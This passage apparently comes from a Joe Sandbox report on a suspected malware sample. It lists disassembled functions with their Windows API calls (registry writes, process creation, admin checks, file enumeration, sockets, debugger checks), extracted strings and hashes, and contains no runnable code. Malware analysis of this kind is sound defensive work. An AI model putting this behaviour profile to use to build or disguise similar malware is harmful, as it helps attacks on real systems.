J9q=, xrefs: 0711036E
J9q=, xrefs: 0710FF8F

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcProcess$CurrentOpen
String ID: &9q=$&9q=$File$J9q=$J9q=$J9q=$J9q=$J9q=$sxf
API String ID: 1954672981-800359904
Opcode ID: 216499131f284074ef494e39b93616a6219e3ec0ccdb0350abd5133e4798c52f
Instruction ID: 1eea193adcecbf0e2df8527df0d0a13f24eb4d9236b59e37b59b0f42187161ea
Opcode Fuzzy Hash: 216499131f284074ef494e39b93616a6219e3ec0ccdb0350abd5133e4798c52f
Instruction Fuzzy Hash: 4D7212B4D052A88BDB26CF68C885BEDBBB1BF59300F1482D9D948A7251EB305AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07125AB0 Relevance: 44.9, APIs: 15, Strings: 10, Instructions: 1170threadCOMMON

Download Yara Rule

APIs

Part of subcall function 07103230: std::_Throw_Cpp_error.LIBCPMT ref: 07103251
Part of subcall function 07103230: std::_Throw_Cpp_error.LIBCPMT ref: 07103285

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 07125C56
GetLastError.KERNEL32 ref: 07125C88
GetCurrentThreadId.KERNEL32 ref: 07125C94
shutdown.WS2_32(?,00000002), ref: 0712716D
closesocket.WS2_32(?), ref: 07127177

Strings

J9q=, xrefs: 07125E61
3/gh, xrefs: 07125D29
J9q=, xrefs: 0712697E
J9q=, xrefs: 07126D7A
3/gh, xrefs: 07126C42
J9q=, xrefs: 071262CF
zn#K, xrefs: 07127003
3/gh, xrefs: 07126846
J9q=, xrefs: 0712707B
3/gh, xrefs: 0712613D

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CreateCurrentErrorEventLastThreadclosesocketshutdown
String ID: 3/gh$3/gh$3/gh$3/gh$J9q=$J9q=$J9q=$J9q=$J9q=$zn#K
API String ID: 2868083077-545287762
Opcode ID: 67512d894814989df8f7f0990f5b029add6d8436378edcd223b663bfa97c4af2
Instruction ID: 7c0ed98d235af57d9e81f93529cf3eb7b09a04d758a054417ad1b8050c2dd004
Opcode Fuzzy Hash: 67512d894814989df8f7f0990f5b029add6d8436378edcd223b663bfa97c4af2
Instruction Fuzzy Hash: CBE2CEB4D056A88BDB26CF68D8817EDBBB1BF99304F1082D9D94CA7251EB305AC5CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0710C760 Relevance: 37.4, APIs: 14, Strings: 7, Instructions: 644registryprocessstringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,?), ref: 0710CD2B
RegQueryValueExA.ADVAPI32(?,?,00000000,00000004,00000000,00000004), ref: 0710CD7E
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,00000002,00000004), ref: 0710CDAA
GetSystemWindowsDirectoryA.KERNEL32(?,00000200), ref: 0710CE04
lstrcatA.KERNEL32(?,?,?,?,?), ref: 0710CF17
IsUserAnAdmin.SHELL32 ref: 0710CF88
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0710D1CE
CloseHandle.KERNEL32(?), ref: 0710D1F7
CloseHandle.KERNEL32(?), ref: 0710D204

Strings

J9q=, xrefs: 0710CB48
J9q=, xrefs: 0710D2E1
J9q=, xrefs: 0710C8A4
+@&S, xrefs: 0710D2A3
d6Uktt3Cm1WoG67, xrefs: 0710CFA1, 0710D08A
J9q=, xrefs: 0710CEA8
+@&S, xrefs: 0710D293

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CloseHandleValue$AdminCreateDirectoryOpenProcessQuerySystemUserWindowslstrcat
String ID: +@&S$+@&S$J9q=$J9q=$J9q=$J9q=$d6Uktt3Cm1WoG67
API String ID: 829427948-714524669
Opcode ID: 6391dcebc62118e14c0702c237d4440233628d5927d596243c424f51e93afe5a
Instruction ID: 749fb9b24a91aab2cb0b83620ad824fcad1d0b9468ea9fdad712646c92a9b01b
Opcode Fuzzy Hash: 6391dcebc62118e14c0702c237d4440233628d5927d596243c424f51e93afe5a
Instruction Fuzzy Hash: 128202B4D092A88BDB26CF68C895BEDBBB1AF59304F1081D9D98C67251EB305AC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00AF0DB0 Relevance: 29.1, APIs: 12, Strings: 4, Instructions: 1114COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00AF1441
___std_exception_destroy.LIBVCRUNTIME ref: 00AF145A
___std_exception_destroy.LIBVCRUNTIME ref: 00AF15C9
___std_exception_destroy.LIBVCRUNTIME ref: 00AF15E2
___std_exception_destroy.LIBVCRUNTIME ref: 00AF1771
___std_exception_destroy.LIBVCRUNTIME ref: 00AF178A
___std_exception_destroy.LIBVCRUNTIME ref: 00AF18F8
___std_exception_destroy.LIBVCRUNTIME ref: 00AF1911

Strings

value, xrefs: 00AF1CED
object, xrefs: 00AF195E
array, xrefs: 00AF1811
number overflow parsing ', xrefs: 00AF1643

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: array$number overflow parsing '$object$value
API String ID: 4194217158-3322379575
Opcode ID: 50a06ae052d9a730b0c677aebf77a79b1836955c87fa0746f9958575249ca150
Instruction ID: c741bc346b0c86b311251b798fe04c4ad7e824d9b844d771133b54d7e1d7393b
Opcode Fuzzy Hash: 50a06ae052d9a730b0c677aebf77a79b1836955c87fa0746f9958575249ca150
Instruction Fuzzy Hash: C9A2AF71D0024DDFDB14DFA4C984BEEBBB5BF45304F1442A9F505AB242EB74AA84CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0710B2C0 Relevance: 25.0, APIs: 12, Strings: 2, Instructions: 478fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?,?,?,?,?), ref: 0710B4E0
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?), ref: 0710B69B
FindNextFileA.KERNEL32(000000FF,?), ref: 0710B95D
FindClose.KERNEL32(000000FF), ref: 0710B970
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0710B976

Strings

J9q=, xrefs: 0710B423
J9q=, xrefs: 0710B3D8

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Find$File$CloseCreateDirectoryErrorFirstLastNext
String ID: J9q=$J9q=
API String ID: 2993551283-1087566249
Opcode ID: d22f373af3bb96d8d9ddbb9f7981b8834ee7183736714600791dd445cb96980c
Instruction ID: 786f5cbdac62b4819fa1d1fcfd457bbd6a25fb42f15bf7df6d31e572cd7d5766
Opcode Fuzzy Hash: d22f373af3bb96d8d9ddbb9f7981b8834ee7183736714600791dd445cb96980c
Instruction Fuzzy Hash: E23238B0C04268DBDB25DBA4CC91BEDBBB4AF19300F5481D9D449A72D1DB705B8ACF92

Uniqueness

Uniqueness Score: -1.00%

Function 0710BAC0 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 346fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?,?,?,?,?), ref: 0710BB94
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,00000000,?,?,?), ref: 0710BD81
GetLastError.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0710BD8B
FindNextFileA.KERNEL32(000000FF,?,?,?,?,?,?,00000000,?,?,?), ref: 0710BE6D
FindClose.KERNEL32(000000FF,?,?,?,?,?,00000000,?,?,?), ref: 0710BE80
GetLastError.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0710BE86
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,00000000,?,?,?), ref: 0710BF40
GetLastError.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0710BF4A

Strings

\*.*, xrefs: 0710BB46

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: File$ErrorFindLast$Attributes$CloseFirstNext
String ID: \*.*
API String ID: 2998857723-1173974218
Opcode ID: efa944243056d0992587e92844477dca89219dbe7dd89f15ecfe2468e2430c77
Instruction ID: 1a9596714a7c8087873b0480e4e4aeae26e3c8d40d5df898e304de21d5e19422
Opcode Fuzzy Hash: efa944243056d0992587e92844477dca89219dbe7dd89f15ecfe2468e2430c77
Instruction Fuzzy Hash: 270224B0D04269DFCB28DFA8C894BEDBBB5BF49300F1081A9D419A72D0DB745A85DF91

Uniqueness

Uniqueness Score: -1.00%

Function 0710F9D0 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 261libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 0710FBD9
GetProcAddress.KERNEL32(?,?), ref: 0710FBEA
CreateEventA.KERNEL32(00000000,00000001,00000000,?), ref: 0710FE27
SetEvent.KERNEL32(?), ref: 0710FE34

Strings

sxf , xrefs: 0710FCD7
&9q=, xrefs: 0710FB2C
J9q=, xrefs: 0710FB77
J9q=, xrefs: 0710FD4F
J9q=, xrefs: 0710FA7B

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Event$AddressCreateHandleModuleProc
String ID: &9q=$J9q=$J9q=$J9q=$sxf
API String ID: 2341598627-1048016225
Opcode ID: db3a7deec76145293c03d070fe4f4e57276b740dd6c0504ddb9c0577cd6550e1
Instruction ID: f4e1f1532fb04caf1c2bc7c48b1c40cdb00b0b8bfd8264fcb3b8234c9d3f1fd2
Opcode Fuzzy Hash: db3a7deec76145293c03d070fe4f4e57276b740dd6c0504ddb9c0577cd6550e1
Instruction Fuzzy Hash: E6E1E274D042A89BDB26CFA888417DDFBB1AF59304F1482D9D988B7351EB305AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07142EAD Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(071043A5,00000000,?), ref: 07142F45
GetLastError.KERNEL32 ref: 07142F4F
FindFirstFileW.KERNEL32(071043A5,?), ref: 07142F66
GetLastError.KERNEL32 ref: 07142F71
FindClose.KERNEL32(00000000), ref: 07142F7D
___std_fs_open_handle@16.LIBCPMT ref: 07143036

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: 9d7ead6bbf37457fcf9872f691b055c9b8cef798567466d5720bbdf9a043967d
Instruction ID: 97dd70e2c4d8d5282ff780049219152102fe014d98628a2a20426ead8d94938f
Opcode Fuzzy Hash: 9d7ead6bbf37457fcf9872f691b055c9b8cef798567466d5720bbdf9a043967d
Instruction Fuzzy Hash: 6C7194F4A0061AAFDB25CF28D8897A9B7B8BF06310F544259E865F72C0DB70A985CB51

Uniqueness

Uniqueness Score: -1.00%

Function 071124B0 Relevance: 13.5, APIs: 4, Strings: 3, Instructions: 1252libraryloaderCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 071134DB
__aulldiv.LIBCMT ref: 07113765
GetModuleHandleA.KERNEL32(Ws2_32.dll,?,?,?,00000000,00008847,00000000), ref: 07113A71
GetProcAddress.KERNEL32(?,?), ref: 07113A8B

Strings

Ws2_32.dll, xrefs: 07113A6C
J9q=, xrefs: 07113A02
J9q=, xrefs: 071139A8

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: __aulldiv$AddressHandleModuleProc
String ID: J9q=$J9q=$Ws2_32.dll
API String ID: 3748425447-1626539570
Opcode ID: 9e14ebb52621fef7e19abebf847757ec3e8539c94f372ddfec27fad0f8b0db39
Instruction ID: 1ca85f517bff728826f7cd8d1ebf93ba0b9fb0532c3b4fa687d8ef53bf72a75d
Opcode Fuzzy Hash: 9e14ebb52621fef7e19abebf847757ec3e8539c94f372ddfec27fad0f8b0db39
Instruction Fuzzy Hash: 48E2AFB4E052698BDB69CF18C894BEDBBB1BF49304F1081EAD859A7391D7309E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0710E3B5 Relevance: 12.6, APIs: 8, Instructions: 557memoryCOMMON

Download Yara Rule

APIs

GetHGlobalFromStream.OLE32(00000000,00000000), ref: 0710E3CF
GlobalSize.KERNEL32(00000000), ref: 0710E3E1
GlobalLock.KERNEL32(00000000), ref: 0710E3FE
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 0710E462
GdipDisposeImage.GDIPLUS(?), ref: 0710ED7B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0710EDB0
HeapAlloc.KERNEL32(00000000), ref: 0710EDB7
GetProcessHeap.KERNEL32 ref: 0710EE20
HeapSize.KERNEL32(?,00000000,?), ref: 0710EE3C
GetProcessHeap.KERNEL32 ref: 0710EE83
HeapReAlloc.KERNEL32(?,00000000,?,00000000), ref: 0710EEA3
DeleteObject.GDI32(?), ref: 0710EF68
DeleteDC.GDI32(?), ref: 0710EF72
DeleteObject.GDI32(?), ref: 0710EF7F
DeleteDC.GDI32(?), ref: 0710EF89

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Heap$Delete$AllocGlobalProcess$ObjectSize$DisposeFromGdipImageLockStreamVirtual
String ID:
API String ID: 173030161-0
Opcode ID: 3002c50ed6ac5886d826be8580251a451097b863b870a46b3e5ac86ae7820d31
Instruction ID: bb8dff4aa3c7d98be89f33731a580a99e86b658276de8eb84e60cf1bd2213214
Opcode Fuzzy Hash: 3002c50ed6ac5886d826be8580251a451097b863b870a46b3e5ac86ae7820d31
Instruction Fuzzy Hash: 2662ACB4E052698FCB29DF59C994BDDBBB1BB89300F1081D9D409A7391DB70AE85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B1F050 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B1F267

Strings

1#QNAN, xrefs: 00B1F163
1#IND, xrefs: 00B1F155
1#SNAN, xrefs: 00B1F15C
1#INF, xrefs: 00B1F186

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: aba226b3a43654d54a12c914e2048563b2f9a5dacbab40ca129dfbe9206baea7
Instruction ID: 2ef1a6073571285380ba6b4932e7c6668b203a8d98816821721b45dbc4553110
Opcode Fuzzy Hash: aba226b3a43654d54a12c914e2048563b2f9a5dacbab40ca129dfbe9206baea7
Instruction Fuzzy Hash: ACD21771E182298BDB65DE28DC847EAB7F5EB44305F5441EAD40DE7241EB78AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 07161714 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0716192B

Strings

1#INF, xrefs: 0716184A
1#QNAN, xrefs: 07161827
1#SNAN, xrefs: 07161820
1#IND, xrefs: 07161819

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: cfaeb75298957a52bc5e52f2d0fe5950a58cbd2e4fdd4bb7ab4e72ee2c7bd475
Instruction ID: f79211955d3fb64938fb3ecc54f71efb322fd089890e99e52b03ce839552a84e
Opcode Fuzzy Hash: cfaeb75298957a52bc5e52f2d0fe5950a58cbd2e4fdd4bb7ab4e72ee2c7bd475
Instruction Fuzzy Hash: EED25CB1E082299FDB65CE28CD447EAB7B5FB45305F1441EAD80DE3280E778AE918F41

Uniqueness

Uniqueness Score: -1.00%

Function 07160121 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,07160433,00000002,00000000,?,?,?,07160433,?,00000000), ref: 071601BA
GetLocaleInfoW.KERNEL32(00000000,20001004,07160433,00000002,00000000,?,?,?,07160433,?,00000000), ref: 071601E3
GetACP.KERNEL32(?,?,07160433,?,00000000), ref: 071601F8

Strings

ACP, xrefs: 0716013F
OCP, xrefs: 07160175

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 5f5ff3d98547999723cd7122764fac32be4a9ec6943ad3f0c0661be8b5ec8dd3
Instruction ID: c9684a85d3582e848e085c54187d808d56014b29120d030756537180a5bbf968
Opcode Fuzzy Hash: 5f5ff3d98547999723cd7122764fac32be4a9ec6943ad3f0c0661be8b5ec8dd3
Instruction Fuzzy Hash: 5C21A4F2710106ABEB368F18CD0DE9773E6AB4DA64F564428E909D71C0F732DAA0C350

Uniqueness

Uniqueness Score: -1.00%

Function 0710C480 Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CreateLevelSafer
String ID:
API String ID: 3489925794-0
Opcode ID: 2f5f1935e39dbffd3d8d6c61dd13d7f9579e12534491bc65088a69ab31375ad9
Instruction ID: cd108dc64c481e522a65ecf43e703b14832e3f854cfcedf39be1b020dea9a24c
Opcode Fuzzy Hash: 2f5f1935e39dbffd3d8d6c61dd13d7f9579e12534491bc65088a69ab31375ad9
Instruction Fuzzy Hash: 37A102B4D04259DBCB14CFA4C894BEEBBB5AF09300F108299E459BB3C1DB745A46DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 071602FD Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 071547E3: GetLastError.KERNEL32(00000000,0714FE22,0715A074), ref: 071547E7
Part of subcall function 071547E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 07154889

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 07160405
IsValidCodePage.KERNEL32(00000000), ref: 07160443
IsValidLocale.KERNEL32(?,00000001), ref: 07160456
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0716049E
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 071604B9

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 3aa0f301ab3949faacd8bb93a6ece7c28f70c66dc84ca7b0212db02e4dd6dddf
Instruction ID: 81ec0cbb311e9f16df0386e4bbec40e50bd76e53fdb98f04e207696663d4acd2
Opcode Fuzzy Hash: 3aa0f301ab3949faacd8bb93a6ece7c28f70c66dc84ca7b0212db02e4dd6dddf
Instruction Fuzzy Hash: 0F517DF2A1020AEFDB25DFA5DC48EBE77B8AF08701F144569E910E71D0E7B09951CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0715F988 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 071547E3: GetLastError.KERNEL32(00000000,0714FE22,0715A074), ref: 071547E7
Part of subcall function 071547E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 07154889

GetACP.KERNEL32(?,?,?,?,?,?,07155DA1,?,?,?,00000055,?,-00000050,?,?,00000006), ref: 0715FA47
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,07155DA1,?,?,?,00000055,?,-00000050,?,?), ref: 0715FA7E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0715FBE1

Strings

utf8, xrefs: 0715FB50

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 83589a896b2666966056cbdd7ea4ea2583bc36baba3b4779b9137df2bb31e1e9
Instruction ID: be79161ef375a34f46b4f82ba123cc90f6070bc600fdfadfe5bf6322aa74f3c4
Opcode Fuzzy Hash: 83589a896b2666966056cbdd7ea4ea2583bc36baba3b4779b9137df2bb31e1e9
Instruction Fuzzy Hash: 6571F4F1600306EAEB2DAB34CC55FA673ADEF05710F144429ED25D71C0EB74EA4287A2

Uniqueness

Uniqueness Score: -1.00%

Function 00B071F0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2576c8359ce57713d8f48a2f8c1dbb29d72fa3f69ce31f973ebfb25c392caa
Instruction ID: 30edf5b30a39cdd403c220f04f6f2f019ec6279fe557954912b37c58b3c1e72c
Opcode Fuzzy Hash: bf2576c8359ce57713d8f48a2f8c1dbb29d72fa3f69ce31f973ebfb25c392caa
Instruction Fuzzy Hash: 79022D71E452199BDF14CFA9D9806ADFBF1FF48314F2482A9D919E7380DB31A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 07152840 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1edd30ae588f6e2b666dfe9bb6e6315ae53a7a1f5ce0520699dda7cd6b88a04
Instruction ID: 349b5b17dcf6963c196362fd87e6691df53c039aaf36998f105071cc4886bf1f
Opcode Fuzzy Hash: f1edd30ae588f6e2b666dfe9bb6e6315ae53a7a1f5ce0520699dda7cd6b88a04
Instruction Fuzzy Hash: 0C023DF2E0121ADFDF19CFA9C8806AEB7B5FF48314F144269D925A7381D731AA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 07146014 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 07146020
IsDebuggerPresent.KERNEL32 ref: 071460EC
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 07146105
UnhandledExceptionFilter.KERNEL32(?), ref: 0714610F

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 40e00fdacf313893b487d080c6d4afa1fd38cee81ce561678fecc125d1294f97
Instruction ID: bc454e740283350cb5d625b33cbf774cbcb54106dff1bd206c8929a1014e0f76
Opcode Fuzzy Hash: 40e00fdacf313893b487d080c6d4afa1fd38cee81ce561678fecc125d1294f97
Instruction Fuzzy Hash: 8531F5B5D01219DBDF21EFA5D9497CDBBB8BF08704F1041AAE40CAB280EB759A84CF45

Uniqueness

Uniqueness Score: -1.00%

Function 07124370 Relevance: 5.8, APIs: 3, Instructions: 1294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7acdecf7b7c90f7aec0090c9b058edb1a896c7f9bf45713fdc1ab8cc8fa80582
Instruction ID: 162071496c1664259ce4989dd0bac302185e45c55b71393d434cc4958df83c14
Opcode Fuzzy Hash: 7acdecf7b7c90f7aec0090c9b058edb1a896c7f9bf45713fdc1ab8cc8fa80582
Instruction Fuzzy Hash: 30E2CFB4E052698FDB69CF58C894BEDBBB1AF49304F1481DAD849A7381DB309E85CF50

Uniqueness

Uniqueness Score: -1.00%

